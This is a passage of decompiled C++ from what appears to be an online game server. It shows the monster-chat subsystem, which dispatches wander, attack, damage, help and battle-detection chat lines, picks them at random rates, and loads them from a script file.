(__thiscall **)(int))(*(_DWORD *)v4 + 1720))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_HelpReq[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_HelpReqChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_HelpReqChat"); } // 47CD00: inconsistent function type and number of purged bytes //----- (0047CDC0) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_HelpAckChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_HelpAckChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_HelpAckChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1720))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_HelpAck[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_HelpAckChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_HelpAckChat"); } // 47CDC0: inconsistent function type and number of purged bytes //----- (0047CE80) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_DetectBattleChat(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // eax@1 MobChat::MobChatElementBase *v3; // ecx@2 int v4; // [sp+1Ch] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobChat::MobChatManager::mcm_DetectBattleChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatManager::mcm_DetectBattleChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = **(_WORD **)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1720))(v4); if ( v2 < v1->mcm_MaxMobHandle ) { v3 = v1->mcm_DetectBattle[v2]; ((void (__thiscall *)(MobChat::MobChatElementBase *, int))v3->vfptr->mceb_DetectBattleChat)(v3, v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatManager::mcm_DetectBattleChat"); } // 47CE80: inconsistent function type and number of purged bytes //----- (0047CF40) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::MobChatElement(MobChat::MobChatElement *this, MobChat::MobChatRecord *rec) { MobChat::MobChatElement *v2; // eax@1 int v3; // ecx@3 v2 = this; this->baseclass_0.vfptr = (MobChat::MobChatElementBaseVtbl *)&MobChat::MobChatElement::_vftable_; *(_QWORD *)&this->mce_Record.mobindex.ort_Name[12] = 0i64; *(_QWORD *)&this->mce_Record.mobindex.ort_Name[4] = 0i64; *(_DWORD *)&this->mce_Record.mobindex.ort_Name[0] = 0; *(_QWORD *)&this->mce_Record.mobindex.ort_Name[0] = *(_QWORD *)&rec->mobindex.ort_Name[0]; *(_QWORD *)&this->mce_Record.mobindex.ort_Name[8] = *(_QWORD *)&rec->mobindex.ort_Name[8]; *(_DWORD *)&this->mce_Record.mobindex.ort_Name[16] = *(_DWORD *)&rec->mobindex.ort_Name[16]; this->mce_Record.rate0 = rec->rate0; this->mce_Record.rate1 = rec->rate1; memcpy(&this->mce_Record.script, &rec->script, sizeof(this->mce_Record.script)); this->mce_Number = 0; do { if ( v2->mce_Record.script.str.script0[65 * v2->mce_Number] == 45 ) break; v3 = v2->mce_Number + 1; v2->mce_Number = v3; } while ( v3 < 4 ); } // 5ACA0C: using guessed type int (*MobChat__MobChatElement___vftable_)(); //----- (0047CFD0) -------------------------------------------------------- void __thiscall MobChat::MobChatElementWander::MobChatElementWander(MobChat::MobChatElementWander *this, MobChat::MobChatRecord *rec) { MobChat::MobChatElementWander *v2; // esi@1 int v3; // eax@1 int v4; // eax@2 int v5; // edx@2 v2 = this; MobChat::MobChatElement::MobChatElement(&this->baseclass_0, rec); v3 = v2->baseclass_0.mce_Record.rate1 - v2->baseclass_0.mce_Record.rate0; v2->baseclass_0.baseclass_0.vfptr = (MobChat::MobChatElementBaseVtbl *)&MobChat::MobChatElementWander::_vftable_; v2->mcew_Dice = v3; v2->mcew_Roll = 1; if ( v3 >= 100 ) { do { v4 = v2->mcew_Dice / 2; v5 = 2 * v2->mcew_Roll; v2->mcew_Dice = v4; v2->mcew_Roll = v5; } while ( v4 >= 100 ); } } // 5ACA2C: using guessed type int (*MobChat__MobChatElementWander___vftable_)(); //----- (0047D030) -------------------------------------------------------- unsigned int __thiscall MobChat::MobChatElementWander::mceb_MobChatInterval(MobChat::MobChatElementWander *this) { MobChat::MobChatElementWander *v1; // edi@1 int v2; // ecx@1 unsigned int result; // eax@2 unsigned int v4; // eax@3 char *v5; // ecx@5 int v6; // eax@5 unsigned __int16 v7; // ax@5 unsigned int v8; // esi@7 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobChat::MobChatElementWander::mceb_MobChatInterval"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElementWander::mceb_MobChatInterval"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( v1->baseclass_0.mce_Number ) { v4 = v1->mcew_Dice; if ( v4 && v4 <= 0x64 ) { v5 = (char *)&rndbox + 32776 * v4; v6 = *((_DWORD *)v5 + 8193) & (*((_DWORD *)v5 + 8192) + 1); *((_DWORD *)v5 + 8192) = v6; v7 = *(_WORD *)&v5[2 * v6]; } else { v7 = 0; } v8 = v1->baseclass_0.mce_Record.rate0 + v1->mcew_Roll * v7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobChat::MobChatElementWander::mceb_MobChatInterval"); result = v8; } else { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobChat::MobChatElementWander::mceb_MobChatInterval"); result = 1000000000; } return result; } //----- (0047D140) -------------------------------------------------------- void __thiscall MobChat::MobChatElementWander::mceb_WanderChat(MobChat::MobChatElementWander *this) { MobChat::MobChatElementWander *v1; // esi@1 unsigned int v2; // eax@1 char *v3; // eax@4 int v4; // ecx@4 unsigned __int16 v5; // ax@4 int v6; // edx@6 int v7; // eax@6 int v8; // esi@6 char v9; // cl@7 int v10; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobChat::MobChatElementWander::mceb_WanderChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElementWander::mceb_WanderChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->baseclass_0.mce_Number; if ( v2 ) { if ( v2 && v2 <= 0x64 ) { v3 = (char *)&rndbox + 32776 * v2; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; v5 = *(_WORD *)&v3[2 * v4]; } else { v5 = 0; } v6 = (int)((char *)&v1->baseclass_0.mce_Record.script + 65 * v5); v7 = (int)((char *)&v1->baseclass_0.mce_Record.script + 65 * v5); v8 = v7 + 1; do v9 = *(_BYTE *)v7++; while ( v9 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v10 + 1308))(65535, v6, v7 - v8, 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobChat::MobChatElementWander::mceb_WanderChat"); } // 47D140: inconsistent function type and number of purged bytes //----- (0047D240) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_AttackChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_AttackChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_AttackChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1308))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_AttackChat"); } // 47D240: inconsistent function type and number of purged bytes //----- (0047D390) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_DamageChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_DamageChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_DamageChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1308))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_DamageChat"); } // 47D390: inconsistent function type and number of purged bytes //----- (0047D4E0) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_KilledChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_KilledChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_KilledChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1308))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_KilledChat"); } // 47D4E0: inconsistent function type and number of purged bytes //----- (0047D630) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_HelpReqChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_HelpReqChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_HelpReqChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1308))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_HelpReqChat"); } // 47D630: inconsistent function type and number of purged bytes //----- (0047D780) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_HelpAckChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_HelpAckChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_HelpAckChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1308))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobChat::MobChatElement::mceb_HelpAckChat"); } // 47D780: inconsistent function type and number of purged bytes //----- (0047D8D0) -------------------------------------------------------- void __thiscall MobChat::MobChatElement::mceb_DetectBattleChat(MobChat::MobChatElement *this) { MobChat::MobChatElement *v1; // esi@1 unsigned int v2; // eax@2 char *v3; // eax@2 int v4; // ecx@2 unsigned int v5; // eax@3 char *v6; // eax@5 int v7; // ecx@5 unsigned __int16 v8; // ax@5 int v9; // edx@7 int v10; // eax@7 int v11; // esi@7 char v12; // cl@8 int v13; // [sp+20h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobChat::MobChatElement::mceb_DetectBattleChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobChat::MobChatElement::mceb_DetectBattleChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v1->mce_Number ) { v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = *((_DWORD *)v3 + 8193) & (*((_DWORD *)v3 + 8192) + 1); *((_DWORD *)v3 + 8192) = v4; if ( *(_WORD *)&v3[2 * v4] <= v1->mce_Record.rate0 ) { v5 = v1->mce_Number; if ( v5 && v5 <= 0x64 ) { v6 = (char *)&rndbox + 32776 * v5; v7 = (*((_DWORD *)v6 + 8192) + 1) & *((_DWORD *)v6 + 8193); *((_DWORD *)v6 + 8192) = v7; v8 = *(_WORD *)&v6[2 * v7]; } else { v8 = 0; } v9 = (int)((char *)&v1->mce_Record.script + 65 * v8); v10 = (int)((char *)&v1->mce_Record.script + 65 * v8); v11 = v10 + 1; do v12 = *(_BYTE *)v10++; while ( v12 ); (*(void (__stdcall **)(signed int, int, int, _DWORD))(*(_DWORD *)v13 + 1308))(65535, v9, v10 - v11, 0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobChat::MobChatElement::mceb_DetectBattleChat"); } // 47D8D0: inconsistent function type and number of purged bytes //----- (0047DA20) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::_MobChatManager(MobChat::MobChatManager *this) { MobChat::MobChatManager *v1; // esi@1 int v2; // edi@1 char *v3; // ebx@2 char *v4; // eax@3 void *v5; // ST14_4@5 MobChat::MobChatElementBase **v6; // ecx@6 char *v7; // eax@6 void *v8; // ST14_4@8 MobChat::MobChatElementBase **v9; // edx@9 char *v10; // eax@9 void *v11; // ST14_4@11 char *v12; // eax@12 void *v13; // ST14_4@14 MobChat::MobChatElementBase **v14; // ecx@15 char *v15; // eax@15 void *v16; // ST14_4@17 MobChat::MobChatElementBase **v17; // edx@18 char *v18; // eax@18 void *v19; // ST14_4@20 char *v20; // eax@21 void *v21; // ST14_4@23 v1 = this; v2 = 0; if ( this->mcm_MaxMobHandle > 0 ) { v3 = (char *)&this->mcm_Default; do { v4 = (char *)v1->mcm_Wander[v2]; if ( v4 != v3 && v4 ) { v5 = v1->mcm_Wander[v2]; *(_DWORD *)v4 = &MobChat::MobChatElementBase::_vftable_; operator delete(v5); } v6 = v1->mcm_Attack; v7 = (char *)v6[v2]; if ( v7 != v3 && v7 ) { v8 = v6[v2]; *(_DWORD *)v7 = &MobChat::MobChatElementBase::_vftable_; operator delete(v8); } v9 = v1->mcm_Damage; v10 = (char *)v9[v2]; if ( v10 != v3 && v10 ) { v11 = v9[v2]; *(_DWORD *)v10 = &MobChat::MobChatElementBase::_vftable_; operator delete(v11); } v12 = (char *)v1->mcm_Killed[v2]; if ( v12 != v3 && v12 ) { v13 = v1->mcm_Killed[v2]; *(_DWORD *)v12 = &MobChat::MobChatElementBase::_vftable_; operator delete(v13); } v14 = v1->mcm_HelpReq; v15 = (char *)v14[v2]; if ( v15 != v3 && v15 ) { v16 = v14[v2]; *(_DWORD *)v15 = &MobChat::MobChatElementBase::_vftable_; operator delete(v16); } v17 = v1->mcm_HelpAck; v18 = (char *)v17[v2]; if ( v18 != v3 && v18 ) { v19 = v17[v2]; *(_DWORD *)v18 = &MobChat::MobChatElementBase::_vftable_; operator delete(v19); } v20 = (char *)v1->mcm_DetectBattle[v2]; if ( v20 != v3 && v20 ) { v21 = v1->mcm_DetectBattle[v2]; *(_DWORD *)v20 = &MobChat::MobChatElementBase::_vftable_; operator delete(v21); } ++v2; } while ( v2 < v1->mcm_MaxMobHandle ); } operator delete(v1->mcm_Wander); operator delete(v1->mcm_Attack); operator delete(v1->mcm_Damage); operator delete(v1->mcm_Killed); operator delete(v1->mcm_HelpReq); operator delete(v1->mcm_HelpAck); operator delete(v1->mcm_DetectBattle); v1->mcm_Default.vfptr = (MobChat::MobChatElementBaseVtbl *)&MobChat::MobChatElementBase::_vftable_; } // 5AC8C4: using guessed type int (*MobChat__MobChatElementBase___vftable_)(); //----- (0047DB60) -------------------------------------------------------- void __thiscall MobChat::MobChatManager::mcm_Load(MobChat::MobChatManager *this, Name4 *world) { MobChat::MobChatManager *v2; // esi@1 int v3; // edx@1 int v4; // ecx@1 int v5; // edx@1 unsigned int v6; // edi@1 char v7; // bl@2 int v8; // eax@2 unsigned int v9; // ST44_4@5 void *v10; // eax@5 unsigned int v11; // ST3C_4@5 void *v12; // eax@5 unsigned int v13; // ST38_4@5 void *v14; // eax@5 unsigned int v15; // ST30_4@5 void *v16; // eax@5 unsigned int v17; // ST2C_4@5 void *v18; // eax@5 int v19; // ecx@5 int v20; // eax@5 unsigned __int16 j; // bp@8 int v22; // edi@10 MobDataBox::MobDataBoxIndex *v23; // edx@11 unsigned __int16 v24; // ax@13 MobDataBox::MobDataBoxIndex *v25; // ebx@15 int v26; // eax@19 char *v27; // ebp@22 _BYTE v28[20]; // ST28_20@22 int v29; // eax@23 int v30; // ecx@23 int v31; // edx@23 void *v32; // eax@31 MobChat::MobChatElementBase *v33; // eax@32 void *v34; // eax@42 MobChat::MobChatElementBase *v35; // eax@43 void *v36; // eax@53 MobChat::MobChatElementBase *v37; // eax@54 void *v38; // eax@64 MobChat::MobChatElementBase *v39; // eax@65 void *v40; // eax@75 MobChat::MobChatElementBase *v41; // eax@76 void *v42; // eax@86 MobChat::MobChatElementBase *v43; // eax@87 void *v44; // eax@97 MobChat::MobChatElementBase *v45; // eax@98 char *v46; // eax@100 void *record; // [sp+10h] [bp-10A10h]@22 MobDataBox::MobDataBoxIndex *mobinf; // [sp+14h] [bp-10A0Ch]@16 unsigned int i; // [sp+18h] [bp-10A08h]@19 unsigned int sub; // [sp+1Ch] [bp-10A04h]@7 char *tables; // [sp+20h] [bp-10A00h]@7 char *v52; // [sp+24h] [bp-109FCh]@7 char *v53; // [sp+28h] [bp-109F8h]@7 char *v54; // [sp+2Ch] [bp-109F4h]@7 char *v55; // [sp+30h] [bp-109F0h]@7 char *v56; // [sp+34h] [bp-109ECh]@7 char *v57; // [sp+38h] [bp-109E8h]@7 int v58; // [sp+44h] [bp-109DCh]@23 int v59; // [sp+4Ch] [bp-109D4h]@23 char killed[4]; // [sp+50h] [bp-109D0h]@7 int v61; // [sp+54h] [bp-109CCh]@7 int v62; // [sp+58h] [bp-109C8h]@7 int v63; // [sp+5Ch] [bp-109C4h]@7 int v64; // [sp+60h] [bp-109C0h]@7 char detectbattle[4]; // [sp+64h] [bp-109BCh]@7 int v66; // [sp+68h] [bp-109B8h]@7 int v67; // [sp+6Ch] [bp-109B4h]@7 int v68; // [sp+70h] [bp-109B0h]@7 int v69; // [sp+74h] [bp-109ACh]@7 char attack[4]; // [sp+78h] [bp-109A8h]@7 int v71; // [sp+7Ch] [bp-109A4h]@7 int v72; // [sp+80h] [bp-109A0h]@7 int v73; // [sp+84h] [bp-1099Ch]@7 int v74; // [sp+88h] [bp-10998h]@7 char wander[4]; // [sp+8Ch] [bp-10994h]@7 int v76; // [sp+90h] [bp-10990h]@7 int v77; // [sp+94h] [bp-1098Ch]@7 int v78; // [sp+98h] [bp-10988h]@7 int v79; // [sp+9Ch] [bp-10984h]@7 char damage[4]; // [sp+A0h] [bp-10980h]@7 int v81; // [sp+A4h] [bp-1097Ch]@7 int v82; // [sp+A8h] [bp-10978h]@7 int v83; // [sp+ACh] [bp-10974h]@7 int v84; // [sp+B0h] [bp-10970h]@7 char helpack[4]; // [sp+B4h] [bp-1096Ch]@7 int v86; // [sp+B8h] [bp-10968h]@7 int v87; // [sp+BCh] [bp-10964h]@7 int v88; // [sp+C0h] [bp-10960h]@7 int v89; // [sp+C4h] [bp-1095Ch]@7 char helpreq[4]; // [sp+C8h] [bp-10958h]@7 int v91; // [sp+CCh] [bp-10954h]@7 int v92; // [sp+D0h] [bp-10950h]@7 int v93; // [sp+D4h] [bp-1094Ch]@7 int v94; // [sp+D8h] [bp-10948h]@7 int buf; // [sp+DCh] [bp-10944h]@1 int v96; // [sp+E0h] [bp-10940h]@1 int v97; // [sp+E4h] [bp-1093Ch]@1 int v98; // [sp+E8h] [bp-10938h]@1 char v99; // [sp+ECh] [bp-10934h]@1 char path[128]; // [sp+FCh] [bp-10924h]@1 char v101; // [sp+17Ch] [bp-108A4h]@100 OptionReader or; // [sp+1BCh] [bp-10864h]@1 unsigned int cookie; // [sp+10A10h] [bp-10h]@103 int v104; // [sp+10A1Ch] [bp-4h]@1 v2 = this; OptionReader::OptionReader(&or); v3 = *(_DWORD *)&world->n4_name[4]; buf = *(_DWORD *)&world->n4_name[0]; v4 = *(_DWORD *)&world->n4_name[8]; v96 = v3; v5 = *(_DWORD *)&world->n4_name[12]; v97 = v4; v6 = 0; v104 = 0; v98 = v5; v99 = 0; sprintf(path, "../9Data/Shine/World/%s/MobChat.txt"); if ( !OptionReader::or_Read(&or, path) ) { sprintf(path, "../9Data/Shine/World/MobChat.txt"); v7 = OptionReader::or_Read(&or, path); v8 = OptionReader::or_ErrorLine(&or); if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "MobChat::MobChatManager::mcm_Load : Error in Script read", v8); ShineExit("MobChat::MobChatManager::mcm_Load"); } } v9 = 4 * (mobdatabox.mdb_maxmobhandle + 1); v2->mcm_MaxMobHandle = mobdatabox.mdb_maxmobhandle + 1; v2->mcm_Wander = (MobChat::MobChatElementBase **)operator new__(v9); v10 = operator new__(4 * v2->mcm_MaxMobHandle); v11 = 4 * v2->mcm_MaxMobHandle; v2->mcm_Attack = (MobChat::MobChatElementBase **)v10; v12 = operator new__(v11); v13 = 4 * v2->mcm_MaxMobHandle; v2->mcm_Damage = (MobChat::MobChatElementBase **)v12; v2->mcm_Killed = (MobChat::MobChatElementBase **)operator new__(v13); v14 = operator new__(4 * v2->mcm_MaxMobHandle); v15 = 4 * v2->mcm_MaxMobHandle; v2->mcm_HelpReq = (MobChat::MobChatElementBase **)v14; v16 = operator new__(v15); v17 = 4 * v2->mcm_MaxMobHandle; v2->mcm_HelpAck = (MobChat::MobChatElementBase **)v16; v18 = operator new__(v17); v19 = v2->mcm_MaxMobHandle; v2->mcm_DetectBattle = (MobChat::MobChatElementBase **)v18; v20 = 0; if ( v19 > 0 ) { do { v2->mcm_DetectBattle[v20] = &v2->mcm_Default; v2->mcm_HelpAck[v20] = 